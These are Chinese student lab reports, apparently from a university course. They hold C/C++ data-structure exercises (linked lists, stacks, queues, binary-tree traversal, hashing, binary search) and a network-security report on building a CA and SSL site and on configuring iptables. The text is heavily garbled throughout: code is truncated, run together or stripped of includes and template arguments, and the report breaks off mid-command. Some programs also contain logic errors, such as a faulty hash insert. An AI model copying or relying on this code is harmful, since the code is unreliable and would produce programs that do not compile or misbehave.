scanf(“%d”,&x);while(x!=-1){ p=(NODE *)malloc(sizeof(NODE));p->data=x;p->next=head->next;head->next=p;scanf(“%d”,&x);} return(head);} /******************************************/ void Output(NODE *head){ NODE *p;p=head;printf(“Begin to dump the LinkList...n”);while(p->next!=NULL){ printf(“->%d”,p->next->data);p=p->next;} printf(“nThe LinkList ended!n”);} /******************************************/ int Listlen(NODE *head){ int i=0;NODE *p=head;while(p->next!=NULL){ i++;p=p->next;} return(i);} /******************************************/ int Get(NODE *head,int i){ int j=0;NODE *p=head;while(p->next&&jnext;} if(!p->next||j>i)return(0);else return(p->data);} /******************************************/ void Del(NODE *head,int i){ NODE *p=head;int j=0;while(p->next&&j
五、數(shù)據(jù)記錄及處理
1、運行程序,輸入下面一組數(shù)據(jù): 93 94 12 13 20 14 鏈表順序:14 20 13 12 94 93
2、刪除第二個數(shù)據(jù)結點,在第一個位置插入數(shù)據(jù)20。
運行結果如下: 插入結果:14 13 12 94 93 刪除結果:20 14 13 12 94 93 運行結果截圖:
實驗二 棧和隊列的實現(xiàn)
一、目的和要求
1.理解隊列和棧的順序存儲結構和鏈式存儲結構。通過本實驗,熟悉隊列、棧的結構特點; 2.熟悉隊列、棧結構上的操作與算法的實現(xiàn)。
二、實驗內(nèi)容
1.隊列的基本操作和應用。2.棧的基本操作和應用。
三、儀器、設備和材料
1.適合實驗要求的計算機系統(tǒng)。2.VC++編程平臺。
四、實驗原理
隊列與棧是一種操作受限制的線性表,在了解線性表的基本原理的基礎上,理解與完成此項實驗。
五、實驗步驟
1.采用隊列的順序存儲結構。
2.用菜單的形式完成隊列的建立,出隊,入隊等基本操作。3.采用棧的鏈式存儲結構。
4.用菜單的形式完成棧的出棧、入棧等基本操作。
六、程序算法
#include
SElemType *top;}SqStack;
SqStack InitStacka()//順序存儲實現(xiàn)棧的初始化 {SqStack S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.top=S.base;return(S);}
void Pusha(SqStack &S,int x)//順序存儲實現(xiàn)棧的入棧操作 {if(S.top-S.base>=MAX)exit(OVERFLOW);*S.top++=x;}
void Popa(SqStack &S)//順序存儲實現(xiàn)棧的出棧操作 {SElemType *p;int x;if(S.top==S.base)return;else {p=S.top;x=*--S.top;printf(“t刪除的棧頂元素是%dnt出棧操作完成后的棧為:n”,x);} } void printa(SqStack S)//輸出 {SElemType *p;p=S.base;printf(“t”);while(p!=S.top){printf(“%d ”,*(p++));} printf(“n”);}
typedef struct SqNode {SElemType data;SqNode *Link;}*Sqptr,NODE;typedef struct {Sqptr top;}Stack;
Stack InitStackb()//鏈式存儲實現(xiàn)棧的初始化 {Stack S;S.top=(Sqptr)malloc(sizeof(NODE));if(!S.top)exit(OVERFLOW);S.top->Link=NULL;return(S);}
void Pushb(Stack &S,int x)//鏈式存儲實現(xiàn)棧的入棧操作 {Sqptr p;p=(Sqptr)malloc(sizeof(NODE));if(!p)return;p->data=x;p->Link=S.top->Link;S.top->Link=p;}
void Popb(Stack &S)//鏈式存儲實現(xiàn)棧的出棧操作 {int x;Sqptr p;if(S.top->Link==NULL)return;else {p=S.top->Link;
x=p->data;
S.top->Link=p->Link;
printf(“t刪除的棧頂元素是%dn”,x);
free(p);} }
typedef struct QNode {QElemType data;struct QNode *next;}*QueuePtr,QNode;typedef struct {QueuePtr front;QueuePtr rear;}LinkQueue;LinkQueue InitQueue()//鏈式存儲實現(xiàn)隊列的初始化 {LinkQueue Q;Q.front=Q.rear=(QueuePtr)malloc(sizeof(QNode));if(!Q.front)exit(OVERFLOW);Q.front->next=NULL;
return(Q);} void EnQueue(LinkQueue &Q,QElemType x)//鏈式存儲實現(xiàn)隊列的入隊 {QueuePtr p;p=(QueuePtr)malloc(sizeof(QNode));if(!p)exit(OVERFLOW);p->data=x;p->next=NULL;Q.rear->next=p;Q.rear=p;} void DeQueue(LinkQueue &Q)//鏈式存儲實現(xiàn)隊列的出隊 {int x;if(Q.front==Q.rear)return;QueuePtr p;p=Q.front->next;x=p->data;printf(“t刪除的隊頭元素是:%dn”,x);Q.front->next=p->next;if(Q.rear==p)Q.rear=Q.front;free(p);return;}
typedef struct {SElemType *base;int front,rear;}SqQueue;SqQueue InitQueueb()//順序存儲實現(xiàn)隊列的初始化 {SqQueue S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.front=S.rear=0;return(S);} void EnQueueb(SqQueue &S,int x)
//順序存儲實現(xiàn)隊列的入隊 {if((S.rear+1)%MAX==S.front)return;S.base[S.rear]=x;S.rear=(S.rear+1)%MAX;} void DeQueueb(SqQueue &S)//順序存儲實現(xiàn)隊列的出隊 {int x;if(S.front==S.rear)return;x=S.base[S.front];S.front=(S.front+1)%MAX;printf(“t刪除的隊頭元素是:%dn”,x);} void main(){int choice;int n,x;printf(“nn”);printf(“t1.采用鏈式存儲實現(xiàn)棧的初始化、入棧、出棧操作n”);printf(“t2.采用順序存儲實現(xiàn)棧的初始化、入棧、出棧操作n”);printf(“t3.采用鏈式存儲實現(xiàn)隊列的初始化、入隊、出隊操作n”);printf(“t4.采用順序存儲實現(xiàn)隊列的初始化、入隊、出隊操作n”);printf(“t請選擇:”);scanf(“%d”,&choice);switch(choice){case 1:Stack Sa;
printf(“t1.鏈式存儲實現(xiàn)棧的初始化n”);
printf(“t2.鏈式存儲實現(xiàn)棧的入棧操作n”);
printf(“t3.鏈式存儲實現(xiàn)棧的出棧操作n”);
while(1){
printf(“t請選擇:”);
scanf(“%d”,&n);
switch(n)
{case 1:Sa=InitStackb();
printf(“t鏈式存儲棧的初始化完成!n”);break;
case 2:printf(“t以'0'結束n”);printf(“t”);
scanf(“%d”,&x);
while(x){
Pushb(Sa,x);scanf(“%d”,&x);}
printf(“t鏈式存儲棧的入棧操作完成!n”);break;
case 3:Popb(Sa);break;}}break;
case 2:SqStack S;
printf(“t1.順序存儲實現(xiàn)棧的初始化n”);
printf(“t2.順序存儲實現(xiàn)棧的入棧操作n”);
printf(“t3.順序存儲實現(xiàn)棧的出棧操作n”);
while(1){
printf(“t請選擇:”);
scanf(“%d”,&n);
switch(n)
{ case 1:S=InitStacka();
printf(“t順序存儲棧的初始化完成!n”);break;
case 2:printf(“t以'0'結束n”);
printf(“t”);
scanf(“%d”,&x);
while(x){
Pusha(S,x);
scanf(“%d”,&x);}
printf(“t順序存儲棧的入棧操作完成!n”);
printa(S);break;
case 3:Popa(S);
printa(S);break;}}break;
case 3:LinkQueue Q;
printf(“t1.鏈式存儲實現(xiàn)隊的初始化n”);
printf(“t2.鏈式存儲實現(xiàn)隊的入棧操作n”);
printf(“t3.鏈式存儲實現(xiàn)隊的出棧操作n”);
while(1){
printf(“t請選擇:”);
scanf(“%d”,&n);
switch(n)
{
case 1:Q=InitQueue();
printf(“t鏈式存儲隊的初始化完成!n”);break;
case 2:printf(“t以'0'結束n”);printf(“t”);scanf(“%d”,&x);
while(x){
EnQueue(Q,x);scanf(“%d”,&x);}
printf(“t鏈式存儲隊的入棧操作完成!n”);break;
case 3:DeQueue(Q);break;}}break;
case 4:SqQueue Sv;
printf(“t1.順序存儲實現(xiàn)隊的初始化n”);
printf(“t2.順序存儲實現(xiàn)隊的入棧操作n”);
printf(“t3.順序存儲實現(xiàn)隊的出棧操作n”);
while(1){
printf(“t請選擇:”);
scanf(“%d”,&n);
switch(n)
{case 1:Sv=InitQueueb();
printf(“t鏈式存儲棧的初始化完成!n”);break;
case 2:printf(“t以'0'結束n”);printf(“t”);scanf(“%d”,&x);
while(x){
EnQueueb(Sv,x);scanf(“%d”,&x);}
printf(“t鏈式存儲棧的入棧操作完成!n”);break;
case 3: DeQueueb(Sv);break;}}break;} } 程序調(diào)試截圖:
1.采用鏈式存儲實現(xiàn)棧的初始化、入棧、出棧操作
2.采用順序存儲實現(xiàn)棧的初始化、入棧、出棧操作
3.采用鏈式存儲實現(xiàn)隊列的初始化、入隊、出隊操作
4.采用順序存儲實現(xiàn)隊列的初始化、入隊、出隊操作
七、心得體會
實踐才能出真知,在通過了上機操作后,才發(fā)現(xiàn)了許多在平時上理論課的時候沒有想到的方方面面,編寫程序時發(fā)現(xiàn)很多語法的錯誤,以及很多英語單詞的記不熟,記錯,程序函數(shù)錯用等等,我想需要在以后多多練習,才能逐步解決這些問題。實驗三 二叉樹的建立和遍歷
一、目的和要求
1、了解二叉樹的建立的方法及其遍歷的順序,熟悉二叉樹的三種遍歷
2、檢驗輸入的數(shù)據(jù)是否可以構成一顆二叉樹
二、實驗內(nèi)容
1.二叉樹的建立和遍歷
三、儀器、設備和材料
1.適合實驗要求的計算機系統(tǒng)。2.VC++編程平臺。
四、實驗的描述和算法
1、實驗描述
二叉樹的建立首先要建立一個二叉鏈表的結構體,包含根節(jié)點和左右子樹。因為耳熟的每一個左右子樹又是一顆二叉樹,所以可以用遞歸的方法來建立其左右子樹。二叉樹的遍歷是一種把二叉樹的每一個節(jié)點訪問完并輸出的過程,遍歷時根結點與左右孩子的輸出順序構成了不同的遍歷方法,這個過程需要按照不同的遍歷的方法,先輸出根結點還是先輸出左右孩子,可以用選擇語句實現(xiàn)。
2、算法
#include
//二叉樹結點類定義 { T data;
//數(shù)據(jù)域
BinTreeNode
//左子女、右子女域
BinTreeNode(T x=T(),BinTreeNode
:data(x),leftChild(l),rightChild(r){}
//可選擇參數(shù)的默認構造函數(shù) };//-----------template
//非遞歸前序遍歷 { stack
while(p!=NULL)
{
cout<
data;
//訪問根結點
S.push(p);
p=p->leftChild;
//遍歷指針進到左子女結點
}
if(!S.empty())
//棧不空時退棧
{
p=S.top();
S.pop();
p = p->rightChild;
//遍歷指針進到右子女結點
} } } //--template
//非遞歸中序遍歷 { stack
while(p!=NULL)
//遍歷指針未到最左下的結點,不空
{
S.push(p);
p=p->leftChild;
}
if(!S.empty())
//棧不空時退棧
{
p=S.top();
S.pop();
cout<
data;
p=p->rightChild;
} } while(p!=NULL ||!S.empty());}
//----template
while(p!= NULL ||!S.empty())
//左子樹經(jīng)過結點加L進棧
{
while(p!=NULL)
{
S.push(p);//首先將t和tag為入棧,遍歷左子樹
tag.push(0);//遍歷左子樹前的現(xiàn)場保護
p=p->leftChild;
}
while(!S.empty()&& tag.top()==1)
{
p=S.top();
S.pop();
tag.pop();
cout<
data;//最后訪問根結點。
}
if(!S.empty())
{
tag.pop();
tag.push(1);//遍歷右子樹前的現(xiàn)場保護,修改棧頂tag為,遍歷右子樹
p=S.top();
// 取棧頂保存的指針
p=p->rightChild;
}
else
break;
} } template
if(subTree!=NULL)
//NULL是遞歸終止條件
{
InOrder_1(subTree->leftChild);//中序遍歷根的左子樹
cout<
//訪問根結點
InOrder_1(subTree->rightChild);//中序遍歷根的右子樹
} } template
//遞歸結束條件
{
cout<
PreOrder_1(subTree->leftChild);
//前序遍歷根的左子樹
PreOrder_1(subTree->rightChild);
//前序遍歷根的右子樹
} } template
if(subTree!=NULL)
//NULL是遞歸終止條件
{
PostOrder_1(subTree->leftChild);//后序遍歷根的左子樹
PostOrder_1(subTree->rightChild);//后序遍歷根的右子樹
cout<
//訪問根結點
} } //------------template
T item;
cin>>item;
if(item!=-1)
{
subTree = new BinTreeNode
if(subTree == NULL)
{
cerr<<“存儲分配錯!”< exit(1); } subTree->data = item; CreateBinTree(subTree->leftChild);//遞歸建立左子樹 CreateBinTree(subTree->rightChild);//遞歸建立右子樹 } else subTree = NULL; //封閉指向空子樹的指針 } int main(){ BinTreeNode cout<<“先序遍歷二叉樹結果:”; PreOrder_1(Tree); cout< cout<<“后序遍歷二叉樹結果:”; PostOrder_1(Tree);cout< cout<<“非遞歸中序遍歷二叉樹結果:”;InOrder_2(Tree);cout< 3、實驗程序運行截圖 實驗四 散列法查找和排序 一、目的和要求 1.用散列法實現(xiàn)順序查找,折半查找。 二、儀器、設備和材料 1.適合實驗要求的計算機系統(tǒng)。2.VC++編程平臺。 三、實驗步驟 和程序 1、順序查找 #include #define NULLKEY 0 typedef int KeyType; /* 假設關鍵字為整型 */ typedef struct { KeyType key;}RecordType;typedef RecordType HashTable[m];int hash(KeyType k)/*除留余數(shù)法構造哈希函數(shù)*/ { int h;h = k%m;return h;} int HashSearch(HashTable ht, KeyType K)/*哈希查找*/ { int h0;int i;int hi;h0=hash(K);if(ht[h0].key==NULLKEY) return(-1);else if(ht[h0].key==K) return(h0); else /* 用線性探測再散列解決沖突 */ { for(i=1;i<=m-1;i++) { hi=(h0+i)% m; if(ht[hi].key==NULLKEY) return(-1); else if(ht[hi].key==K) return(hi); } return(-1); } } void main(){ int i,j;int n;int p;int hj;int k;int result;HashTable ht;for(i=0;i ht[i].key = NULLKEY;printf(“請輸入哈希表的元素個數(shù):”);scanf(“%d”,&n);for(i=1;i<=n;i++){ printf(“請輸入第%d個元素:”,i); fflush(stdin); scanf(“%d”,&p); j = hash(p); if(ht[j].key == NULLKEY) ht[j].key = p; else { for(i=1;i<=m-1;i++) { hj=(j+i)% m; if(ht[hj].key==NULLKEY) { ht[j].key = p; } i = m; } } } } printf(“請輸入要查找的元素:”);fflush(stdin);scanf(“%d”,&k);result = HashSearch(ht,k);if(result ==-1)printf(“未找到!n”);else printf(“元素位置為%dn”,result);system(“pause”);運行結果如下: 2、折半查找 #include printf(“你輸入的數(shù)不正確,請重新輸入:n”); printf(“你想在多少個數(shù)中進行折半查找,請輸入(1--20):”); scanf(“%d”,&n);} printf(“請你輸入一個整數(shù)a[1]:”);scanf(“%d”,&a[1]);i=2;while(i<=n){ printf(“請你輸入一個整數(shù)a[%d]:”,i); scanf(“%d”,&a[i]); i++;} printf(“n輸出表列n”);for(i=1;i<=n;i++){ printf(“%6d”,a[i]);} printf(“n”);printf(“請你輸入要查找的數(shù):”);scanf(“%d”,&num);flag=1;top=n;bottom=1;mid=(top+bottom)/2;while(flag){ printf(“top=%d,bottom=%d,mid=%d,a[i]=%dn”,top,bottom,mid,mid,a[mid]);if((num>a[top])||(num loc=-1; flag=0;} else if(a[mid]==num){ loc=mid; printf(“找到數(shù) %6d的位置%2dn”,num,loc); break;} else if(a[mid]>num){ top=mid-1; mid=(top+bottom)/2;} else if(a[mid] bottom=mid+1; mid=(top+bottom)/2;} } if(loc==-1){ printf(“%d這個數(shù)在表列中沒有找到。n”,num);} } 運行結果如下: CENTRAL SOUTH UNIVERSITY 網(wǎng) 絡 安 全 實 驗 報 告 學生姓名 專業(yè)班級 學 號 學 院 信息科學與工程學院 指導教師 劉嬪 實驗時間 2014年12月 實驗一 CA證書與SSL連接 應用場景 在訪問Web 站點時,如果沒有較強的安全措施,用戶訪問的數(shù)據(jù)是可以使用網(wǎng)絡工具 捕獲并分析出來的。在Web 站點的身份驗證中,有一種基本身份驗證,要求用戶訪問輸入 用戶名和密碼時,是以明文形式發(fā)送密碼的,蓄意破壞安全性的人可以使用協(xié)議分析程序破 譯出用戶名和密碼。那我們該如果避免呢?可利用SSL 通信協(xié)議,在Web 服務器上啟用安 全通道以實現(xiàn)高安全性。 SSL 協(xié)議位于TCP/IP 協(xié)議與各種應用層協(xié)議之間,為數(shù)據(jù)通訊提供安全支持。SSL 協(xié) 議可分為兩層: SSL 記錄協(xié)議(SSL Record Protocol):它建立在可靠的傳輸協(xié)議(如TCP)之上,為高層協(xié)議提供數(shù)據(jù)封裝、壓縮、加密等基本功能的支持。SSL 握手協(xié)議(SSL Handshake Protocol):它建立在SSL 記錄協(xié)議之上,用于在實際的數(shù)據(jù)傳輸開始前,通訊雙 方進行身份認證、協(xié)商加密算法、交換加密密鑰等。每一個Windows Server 2003 證書頒發(fā) 機構都有可供用戶和管理員使用的網(wǎng)頁。 實驗目標 ??掌握在Windows Server 2003 下獨立根CA 的安裝和使用。??使用WEB 方式申請證書和安裝證書。??建立SSL 網(wǎng)站。 ??分析SSL 網(wǎng)站的數(shù)據(jù)包特點。 實驗拓撲 VM Client VM Server 實驗環(huán)境 虛擬機:Windows Server 2003,Windows XP,Wireshark 抓包軟件。 實驗過程指導 任務一:windows server 2003 環(huán)境下獨立根CA 的安裝及使用 1、啟動Windows Server 2003 和Windows XP,配置其IP,使其在同一局域網(wǎng)網(wǎng)段。 2、在Windows Server 2003 中,選擇【開始】|【控制面板】|【添加和刪除程序】,在彈出窗 口中選擇【添加和刪除windows 組件】,在【組件】列表框中選擇【證書服務】,再單擊【下 一步】按鈕,如下圖所示。 3、在彈出的窗口中選擇【獨立根CA】單選按鈕,單擊【下一步】按鈕,在彈出窗口中按 要求依次填入CA 所要求的信息,單擊【下一步】按鈕,如下圖所示。 4、繼續(xù)選擇【證書數(shù)據(jù)庫】、【數(shù)據(jù)庫日志】和配置信息的安裝、存放路徑,如下圖所示。 單擊【下一步】按鈕。安裝的時候,可能會彈出如下窗口,為了實驗方便,已經(jīng)把I386 文 件夾復制到C:下,選擇【瀏覽】,選擇文件夾“C:I386”,點【確定】,完成安裝。 5、選擇【開始】|【程序】|【管理工具】,可以找到【證書頒發(fā)機構】,說明CA 的安裝已經(jīng) 完成,如下圖所示。 6、從同一局域網(wǎng)中的另外一臺XP 開啟IE 瀏覽器,輸入http://windows2003 的IP/certsrv/, 選中【申請一個證書】,如下圖所示,在彈出的頁面中選擇【web 瀏覽器證書】。 7、在彈出窗口中填寫用戶的身份信息,完成后進行【提交】。此種情況下,IE 瀏覽器采用 默認的加密算法生成公鑰對,私鑰保存在本地計算機中,公鑰和用戶身份信息按照標準的格式發(fā)給CA 服務器,如圖所示,單擊【是】,進入下一步。CA 服務器響應后,彈出證書申請 成功頁面,如下圖所示。 8、在根CA 所在的計算機上,選擇【開始】|【程序】|【管理工具】|【證書頒發(fā)機構】,上 面申請的證書便會出現(xiàn)在窗口右邊,選擇證書單擊右鍵,選擇【所有任務】|【頒發(fā)】,進行 證書頒發(fā),如下圖所示。證書頒發(fā)后將從【掛起的申請】文件夾轉入【頒發(fā)的證書】文件夾 中,表示證書頒發(fā)完成。 9、在申請證書的計算機上打開IE,輸入http://windows2003 的IP/certsrv/,進入證書申請頁 面,選擇【查看掛起的證書申請狀態(tài)】,彈出的頁面中選擇一個已經(jīng)提交的證書申請,如下 圖所示。選擇安裝此證書。 10、現(xiàn)在驗證此CA 系統(tǒng)頒發(fā)的新證書是否可信,為此需要安裝CA 系統(tǒng)的根證書,進入證書申請主頁面,選擇當前的CA 證書進行下載,并保存到合適路徑,如下圖所示。 11、下載完畢之后,在證書的保存目錄中查看證書信息,單擊【安裝證書】按鈕,進入證書 導入向導,按照默認的配置完成證書的導入,導入成功后,單擊【確定】按鈕,之后完成。 任務二:基于Web 的SSL 連接設置 1、在XP 中,左下角【開始】,打開【W(wǎng)ireshark】,并點擊開始抓包的按鈕。打開IE 瀏覽器,輸入網(wǎng)址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包結果1。 2、選擇【開始】|【程序】|【管理工具】|【IIS(Internet 信息服務)管理器】,在彈出窗口 右鍵單擊【默認網(wǎng)站】,彈出的快捷菜單中選擇【屬性】選項,如下圖所示。 3、在彈出窗口內(nèi)選擇【目錄安全性】標簽,單擊【安全通信】中的【服務器證書】按鈕,如下圖所示。 4、彈出【IIS 證書向導】窗口,選中【新建證書】復選項,一直單擊【下一步】按鈕,輸入自定義的名稱,如下圖所示。填寫相應的信息后,單擊【下一步】按鈕。 5、彈出【請求文件摘要】窗口,確認后單擊【下一步】按鈕,接著單擊【完成】按鈕,完 成服務器端證書配置,如下圖所示。 6、打開IE 瀏覽器(windows2003 中的),進入證書申請主界面,如下圖所示。 7、在出現(xiàn)的網(wǎng)頁中選擇【高級證書申請】,如圖所示,在出現(xiàn)的網(wǎng)頁中單擊第二個選項【base64 編碼】。打開剛才IIS 證書向導生成的請求文件,(默認路徑C:certreq.txt),復制并粘貼文件 內(nèi)容到第一個文本框,如下圖所示,單擊【提交】按鈕,轉到完成提交后的頁面。 8、回到首頁,選擇【查看掛起的證書申請狀態(tài)】,彈出的頁面中選擇一個已經(jīng)提交的證書申 請,如下圖所示。選擇【Base 64 編碼】,點擊【下載證書】,【保存】certnew.cer 文件到桌面。 9、選擇【開始】|【程序】|【管理工具】|【IIS(Internet 信息服務)管理器】,在彈出窗口 右鍵單擊【默認網(wǎng)站】,彈出的快捷菜單中選擇【屬性】選項,在彈出窗口內(nèi)選擇【目錄安 全性】標簽,選擇【服務器證書】,選擇【下一步】,【處理掛起的請求并安裝證書】選擇【下 一步】,【瀏覽】選擇剛才保存的certnew.cer 文件,如下圖所示。【下一步】【下一步】【完成】。 10、還是在【目錄安全性】下,選擇【安全通信】下的【編輯】,在下如圖所示的彈出窗口 中選中【要求安全通道(SSL)】復選項,并在【客戶端證書】欄中選中【接受客戶端證書】 復選項,再單擊【確定】按鈕。返回【目錄安全性】面板,單擊【應用】按鈕及【確定】按 鈕,完成配置。 11、在XP 系統(tǒng)打開瀏覽器,輸入服務器IP 地址,進入證書申請主頁面,此時會顯示錯誤 信息頁面,要求采用https 的方式連接服務器,如圖所示。 12、把http 改成https 繼續(xù)訪問,此時瀏覽器提示你要安裝證書,安裝完證書后,就可以正 常使用了。、再次打開Wireshark,并點擊開始抓包的按鈕。打開IE 瀏覽器,輸入網(wǎng)址 https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓 包結果2。 14、分析比較抓包結果1 和抓包結果2 中,對IP/?id=1 請求處理的差異。 實驗截圖 1、寫出windows server 2003 下獨立根CA 的配置及應用的過程,將重要的步驟截圖并保存。如上所示,重要的步驟截圖已置于相應步驟下。 2、寫出windows server 2003 下基于Web的SSL連接設置的過程,將重要的步驟截圖并保存。如上所示,重要的步驟截圖已置于相應步驟下。 實驗心得 通過此次實驗,我學會了Wireshark抓包的基本使用方法,學到了很多課本上沒有的新知識,并對課本上的概念有了實際的更深的認識。通過Wireshark所抓到的未使用SSL 連接和使用SSL 連接的信息的對比,我對HTTPS有了一定的了解,對計算機網(wǎng)絡通信中的數(shù)據(jù)傳輸安全有了大概的認識。 HTTPS(全稱:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全為目標的HTTP通道,簡單講是HTTP的安全版。即HTTP下加入SSL層,HTTPS的安全基礎是SSL,因此加密的詳細內(nèi)容就需要SSL。它是一個URI scheme(抽象標識符體系),句法類同http:體系。用于安全的HTTP數(shù)據(jù)傳輸。https:URL表明它使用了HTTP,但HTTPS存在不同于HTTP的默 14 認端口及一個加密/身份驗證層(在HTTP與TCP之間)。這個系統(tǒng)的最初研發(fā)由網(wǎng)景公司(Netscape)進行,并內(nèi)置于其瀏覽器Netscape Navigator中,提供了身份驗證與加密通訊方法。現(xiàn)在它被廣泛用于萬維網(wǎng)上安全敏感的通訊,例如交易支付方面。它的主要作用可以分為兩種:一種是建立一個信息安全通道,來保證數(shù)據(jù)傳輸?shù)陌踩涣硪环N就是確認網(wǎng)站的真實性,凡是使用了 https 的網(wǎng)站,都可以通過點擊瀏覽器地址欄的鎖頭標志來查看網(wǎng)站認證之后的真實信息,也可以通過 CA 機構頒發(fā)的安全簽章來查詢。 Wireshark所抓到的未使用SSL 連接的http 信息,信息是明文傳輸,而使用SSL連接的https 則具有安全性的ssl加密傳輸協(xié)議,更加安全。 實驗二 配置和管理主機防火墻 應用場景 對于Internet 上的系統(tǒng),不管是什么情況,首先我們要明確一點:網(wǎng)絡是不安全的。因此,雖然創(chuàng)建一個防火墻并不能保證系統(tǒng)100%安全,但卻是絕對必要的。和社會上其它任何事物一樣,Internet 經(jīng)常會受到一些無聊的或者別有用心的人的干擾,防火墻的目的就是將這類人擋在你的網(wǎng)絡之外,同時使你仍然可以完成自己的工作。 那么構筑怎樣的Linux 防火墻系統(tǒng)才算是足夠安全呢?這是一個很難回答的問題,因為不同的應用環(huán)境對安全的要求不一樣。用一句比較恰當而且簡單的話來回答這個問題:用戶了解自己的Linux 系統(tǒng)和設置,并且可以很好地保護好自己的數(shù)據(jù)和機密文件的安全,這對于該計算機用戶來說就可以稱之為他的計算機有足夠的安全性。 那么到底什么是防火墻呢?防火墻是一個或一組系統(tǒng),它在網(wǎng)絡之間執(zhí)行訪問控制策略。實現(xiàn)防火墻的實際方式各不相同,但是在原則上,防火墻可以被認為是這樣一對機制:一種機制是攔阻傳輸流通行,另一種機制是允許傳輸流通過。一些防火墻偏重攔阻傳輸流的通行,而另一些防火墻則偏重允許傳輸流通過。了解有關防火墻的最重要的概念可能就是它實現(xiàn)了一種訪問控制策略。 一般來說,防火墻在配置上是防止來自“外部”世界未經(jīng)授權的交互式登錄的。這大大有助于防止破壞者登錄到你網(wǎng)絡中的計算機上。一些設計更為精巧的防火墻可以防止來自外部的傳輸流進入內(nèi)部,但又允許內(nèi)部的用戶可以自由地與外部通信。如果你切斷防火墻的話,它可以保護你免受網(wǎng)絡上任何類型的攻擊。防火墻的另一個非常重要的特性是可以提供一個單獨的“攔阻點”,在“攔阻點”上設置安全和審計檢查。與計算機系統(tǒng)正受到某些人利用調(diào)制解調(diào)器撥入攻擊的情況不同,防火墻可以發(fā)揮一種有效的“電話監(jiān)聽”和跟蹤工具的作用。防火墻提供了一種重要的記錄和審計功能;它們經(jīng)常可以向管理員提供一些情況概要,提供有關通過防火墻的傳輸流的類型和數(shù)量,以及有多少次試圖闖入防火墻的企圖等信息。 因此本實驗將介紹如何配置linux 防火墻。 VM Client VM Server 實驗目標 1.掌握linux 下基本的iptables 知識 2.學會配置iptables VM Windows VM Linux 實驗環(huán)境 虛擬機:linux,windowsXP;linux 主機用戶名:root;密碼:root 16 實驗過程指導 一.Iptables 的規(guī)則表、鏈結構 1.規(guī)則表(iptables管理4個不同的規(guī)則表,其功能由獨立的內(nèi)核模塊實現(xiàn))filter 表:包含三個鏈INPUT OUTPUT FORWARD nat表:PREROUTING POSTROTING OUTPUT mangle 表:PREROUTING POSTROUTING INPUT OUTPUT FORWARD raw 表:OUTPUT PREROUTING 2.規(guī)則鏈 INPUT 鏈當收到訪問防火墻本機的數(shù)據(jù)包(入站)時,應用此鏈中的規(guī)則 OUTPUT鏈當防火墻本機向外發(fā)送數(shù)據(jù)包(出站)時,應用此鏈中的規(guī)則 FORWARD鏈收到需要通過防火墻發(fā)送給其他地址的數(shù)據(jù)包,應用此鏈 PREROUTING鏈做路由選擇之前,應用此鏈 POSTROUTING鏈對數(shù)據(jù)包做路由選擇之后,應用此鏈中的規(guī)則 二.數(shù)據(jù)包的匹配流程 1.規(guī)則表之間的優(yōu)先級 raw mangle nat filter 2.規(guī)則鏈之間的優(yōu)先級 入站數(shù)據(jù)流向:來自外界的數(shù)據(jù)包到達防火墻,首先PREROUTING規(guī)則鏈處理(是否被修改地址),之后會進行路由選擇(判斷該數(shù)據(jù)包應該發(fā)往何處),如果數(shù)據(jù)包的目標地址是防火墻本機,那么內(nèi)核將其傳遞給INPUT 鏈進行處理,通過以后再交給上次的應用程序進行響應。 轉發(fā)數(shù)據(jù)流向:來自外界的數(shù)據(jù)包到達防火墻后,首先被PREROUTING 規(guī)則鏈處理,之后進行路由選擇,如果數(shù)據(jù)包的目標地址是其他外部地址,則內(nèi)核將其傳遞給FPRWARD 鏈進行處理,然后再交給POSTROUTIING 規(guī)則鏈(是否修改數(shù)據(jù)包的地址等)進行處理。 出站數(shù)據(jù)流向:防火墻本身向外部地址發(fā)送數(shù)據(jù)包,首先被OUTPUT 規(guī)則鏈處理,之后進行路由選擇,然后交給POSTROUTING 規(guī)則鏈(是否修改數(shù)據(jù)包的地址等)進行處理。3.規(guī)則鏈內(nèi)部各防火墻規(guī)則之間的優(yōu)先順序 依次按第1條規(guī)則、第2條規(guī)則、第3條規(guī)則??的順序進行處理,找到一條能夠匹配的數(shù)據(jù)包規(guī)則,則不再繼續(xù)檢查后面的規(guī)則(使用LOG記錄日志的規(guī)則例外)。如果找不到匹配規(guī)則,就按照規(guī)則鏈的默認策略進行處理。 三.管理和設置iptables規(guī)則 Iptables 的基本語法格式選項名-A-D-I-R 功能及特點 在指定鏈的末尾添加(--append)一條新規(guī)則 刪除(--delete)指定鏈中的某一條規(guī)則,按規(guī)則序號或內(nèi)容確定要刪除的規(guī)則 在指定鏈中插入一條新規(guī)則,若未指定插入位置,則默認在鏈的開頭插入 修改、替換指定鏈中的一條規(guī)則,按按 17-L-F-X-P-n-v-V-h--line-numbers-N 1.查看規(guī)則表 # iptables-L INPUT--line-numbers //查看filter表中INPUT鏈中的所有規(guī)則,同時顯示各條規(guī)則的順序號 規(guī)則序號或內(nèi)容確定要替換的規(guī)則 列出指定鏈中所有的規(guī)則進行查看,若未指定鏈名,則列出表中所有鏈的內(nèi)容 清空指定鏈中的所有規(guī)則,若未指定鏈名,則清空表中所有鏈的內(nèi)容 刪除表中用戶自定義的規(guī)則鏈 設置指定鏈的默認策略(大p) 使用數(shù)字形式顯示輸出結果,如顯示主機的IP地址而不是主機名 查看規(guī)則列表時顯示詳細的信息 查看iptables命令工具的版本信息 查看命令幫助信息 查看規(guī)則列表時,同時顯示規(guī)則在鏈中的順序號 新建一條用戶自定義的規(guī)則鏈 2.刪除、清空規(guī)則 # iptables-F //不指定表名時,默認情況filter表 3.設置規(guī)則鏈的默認策略 # iptables-t filter-P FORWARD DROP //將filter表中FORWARD規(guī)則的默認策略設為DROP # iptables-P OUTPUT ACCEPT //將filter表中OUTPUT規(guī)則的默認策略設為ACCEPT 18 四.條件匹配 1.通用(general)條件匹配(直接使用,而不依賴于其他的條件匹配及其擴展)協(xié)議匹配(允許使用的協(xié)議名包含在/etc/protocols文件中) # iptables-AINPUT-p icmp–j REJECT //拒絕進入防火墻的所有icmp數(shù)據(jù)包 地址匹配 拒絕轉發(fā)來自192.168.1.11主機的數(shù)據(jù),允許轉發(fā)來自192.168.0./24網(wǎng)段的數(shù)據(jù) # iptables-A FORWARD-s 